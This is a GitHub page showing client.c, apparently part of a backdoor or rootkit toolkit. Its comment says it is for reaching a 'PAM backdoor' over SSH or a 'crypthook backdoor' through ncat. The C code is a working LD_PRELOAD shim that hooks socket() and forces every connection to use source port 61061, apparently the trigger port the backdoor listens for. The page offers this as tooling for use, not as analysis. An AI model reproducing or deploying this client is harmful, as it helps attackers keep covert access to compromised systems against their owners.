-
Notifications
You must be signed in to change notification settings - Fork 176
/
Copy pathclient.c
38 lines (27 loc) · 780 Bytes
/
client.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
* You only need this if you're connecting via SSH to the PAM backdoor
* LD_PRELOAD=./client.so ssh [email protected]
* Otherwise set it in ncat if you're using plain text accept
* or crypthook backdoor
*/
#define _GNU_SOURCE
#include <sys/socket.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <netinet/in.h>
#define PORT 61061
static int (*old_socket)(int domain, int type, int protocol);
int socket(int domain, int type, int protocol) {
int fd;
struct sockaddr_in src;
if (!old_socket)
old_socket = dlsym(RTLD_NEXT,"socket");
fd = old_socket(domain,type,protocol);
if (fd == -1)
return fd;
src.sin_family = AF_INET;
src.sin_addr.s_addr = INADDR_ANY;
src.sin_port = htons(PORT);
bind(fd, (struct sockaddr *) &src, sizeof(src));
return fd;
}